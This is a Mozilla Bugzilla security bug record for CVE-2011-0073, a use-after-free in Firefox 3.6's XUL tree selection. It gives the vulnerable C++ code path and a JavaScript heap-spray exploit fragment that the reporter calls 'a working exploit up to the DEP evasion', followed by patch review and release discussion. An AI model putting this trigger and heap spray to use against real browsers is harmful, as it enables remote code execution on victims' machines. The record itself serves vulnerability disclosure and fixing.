Closed Bug 630919 (CVE-2011-0073) Opened 13 years ago Closed 13 years ago

nsTreeRange Dangling Pointer Remote Code Execution Vulnerability (ZDI-CAN-1084)

Categories

(Core :: XUL, defect)

defect
Not set
critical

Tracking

()

RESOLVED FIXED
Tracking Status
blocking2.0 --- -
status2.0 --- unaffected
blocking1.9.2 --- .17+
status1.9.2 --- .17-fixed
blocking1.9.1 --- .19+
status1.9.1 --- .19-fixed

People

(Reporter: reed, Assigned: smaug)

Details

(Keywords: verified1.9.1, verified1.9.2, Whiteboard: [sg:critical])

Attachments

(3 files)

ZDI-CAN-1084: Mozilla Firefox nsTreeRange Dangling Pointer Remote Code Execution Vulnerability

-- CVSS ----------------------------------------------------------------
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- ABSTRACT ------------------------------------------------------------

TippingPoint has identified a vulnerability affecting the following 
products:

    Mozilla Firefox

-- VULNERABILITY DETAILS -----------------------------------------------

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Mozilla Firefox. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the way Firefox handles user defined
functions of a nsTreeSelection element. When executing the function
invalidateSelection it is possible to free the nsTreeSelection object
that the function operates on. Any further operations on the freed
object can result in remote code execution.

Version(s)  tested: Firefox 3.6.13
Platform(s) tested: Windows XP SP3

---------------------
Vulnerability details
---------------------

View of XUL <tree> element exposes "selection" attribute. This in turn
allows user to setup custom tree box object. One of |nsTreeSelection|
methods is invalidateSelection(). From
layout/xul/base/src/tree/src/nsTreeSelection.cpp:

nsTreeSelection::InvalidateSelection()
{
  if (mFirstRange)
    mFirstRange->Invalidate();
  return NS_OK;
}

|mFirstRange| is defined as pointer to |nsTreeRange| struct.

struct nsTreeRange
{
  ...
  void Invalidate() {
    if (mSelection->mTree)
      mSelection->mTree->InvalidateRange(mMin, mMax);
    if (mNext)
      mNext->Invalidate();
  }
  ...
}

If execution of our custom made method invalidateRange() causes
destruction of all ranges withing selection (including |nsTreeRange|
instance which code is being executed at the moment), |this| in the
context of |Invalidate()| will be referring to already freed memory. In
other words: value of |mNext| is under attackers' control.



  sel.tree = {
    invalidateRange: function(s,e) {
      sel.tree = null;
      sel.clearSelection();

      var container = new Array();
      var addr = unescape("%u0a0a%u0a0a");

      var shellcode = unescape("%u9090%u9090"); // +

      var big = addr;
        while (big.length < 0x100000)
      big += big;
      var len = big.length - shellcode.length - 1;
      for (i = 0; i < 150; ++i)
        container.push(big.substring(0, len) + shellcode);

      var block = addr;
      while (block.length < 8)
        block += block;
      for (var i = 0; i < 1024*8; ++i)
         container.push(block + addr);
    }
  }

This will remove the tree and replace the object with 0x0a0a0a0a. Its
not 100% reliable, but it is a working exploit up to the DEP evasion.

-- CREDIT --------------------------------------------------------------

This vulnerability was discovered by:
    * regenrecht
The PoC got eaten by TippingPoint's outgoing mail server (it thought it was a virus), so I've requested it in another form.
Attached patch SledgehammerSplinter Review
Sadly I can't see why this breaks. I can't see the wood for the trees ;-)
Attached file PoC
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
blocking2.0: --- → ?
status1.9.1: --- → ?
status1.9.2: --- → ?
Alias: ZDI-CAN-1084
Attached patch HackSplinter Review
This might actually work, but I don't have a 1.9.x tree handy.
Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.
blocking2.0: ? → ---
Whiteboard: [sg:critical]
blocking2.0: --- → -
(In reply to comment #5)
> Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.

And because we don't support Web XUL anymore
(In reply to comment #5)
> Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.

I'm confused, both of those bugs were fixed in 1.9.2 and back-ported to 1.9.1 -- something else is keeping the trunk safe. I mean beyond the lack of web XUL support, because I don't crash even when I enable remote XUL for testing with a current trunk nightly.
(In reply to comment #6)
> (In reply to comment #5)
> > Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.
> And because we don't support Web XUL anymore
But, as you noticed, even with that taken into account.

(In reply to comment #7)
> (In reply to comment #5)
> > Trunk isn't vulnerable due to the combination of bug 503926 and bug 516237.
> I'm confused, both of those bugs were fixed in 1.9.2 and back-ported to 1.9.1
> -- something else is keeping the trunk safe.
Bug 516237 wasn't completely back-ported to 1.9.1 (and presumably 1.9.2, but I didn't check), because Thunderbird depended on it. See bug 516237 comment 12 and subsequent comments and patches.
blocking1.9.1: ? → .18+
blocking1.9.2: ? → .15+
Neil, are you still working on this?
(In reply to comment #9)
> Neil, are you still working on this?
Did you have anything in mind?
I was wondering if there is something to fix here, and if you're doing that.
And if so, should this be assigned to you? If not, assign to me.

This is an sg:crit bug we should fix asap.
Assignee: nobody → Olli.Pettay
(I'll test the patch still some more.)
Neils, do we have any good tests for this stuff?
Attachment #514011 - Flags: review?(enndeakin)
Attachment #514011 - Flags: review?(enndeakin) → review+
the patch applies to trunk, 1.9.2 and 1.9.1
Comment on attachment 514011 [details] [diff] [review]
Collect and invalidate ranges safely

>+  static void CollectRanges(nsTreeRange* aRange, nsTArray<PRInt32>& aRanges)
>+  {
>+    nsTreeRange* cur = aRange;
[You don't like modifying inparams?]
Attachment #514011 - Flags: review?(neil) → review+
Attachment #514011 - Flags: approval2.0?
Attachment #514011 - Flags: approval1.9.2.15?
Attachment #514011 - Flags: approval1.9.1.18?
Comment on attachment 514011 [details] [diff] [review]
Collect and invalidate ranges safely

Approved for 1.9.2.15 and 1.9.1.18, a=dveditz for release-drivers
Attachment #514011 - Flags: approval1.9.2.15?
Attachment #514011 - Flags: approval1.9.2.15+
Attachment #514011 - Flags: approval1.9.1.18?
Attachment #514011 - Flags: approval1.9.1.18+
Attachment #514011 - Flags: approval2.0? → approval2.0+
http://hg.mozilla.org/mozilla-central/rev/fab60117e622
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
The "3.6.15" we're releasing today does not fix this bug, the release containing this bug fix has been renamed to "3.6.16" and the bugzilla flags will be updated to reflect that soon. Today's release is a re-release of 3.6.14 plus a fix for a bug that prevented many Java applets from starting up.
Verified for 1.9.2 on XP SP3 with nightly Firefox 1.9.2 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16pre) Gecko/20110317 Namoroka/3.6.16pre (.NET CLR 3.5.30729)) and verified crash in 1.9.2.15.

Verified for 1.9.1 with nightly 1.9.1 build (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.18pre) Gecko/20110317 Shiretoko/3.5.18pre (.NET CLR 3.5.30729)). Verified crash in 1.9.1.17.
Alias: ZDI-CAN-1084 → CVE-2011-0073
Group: core-security
You need to log in before you can comment on or make changes to this bug.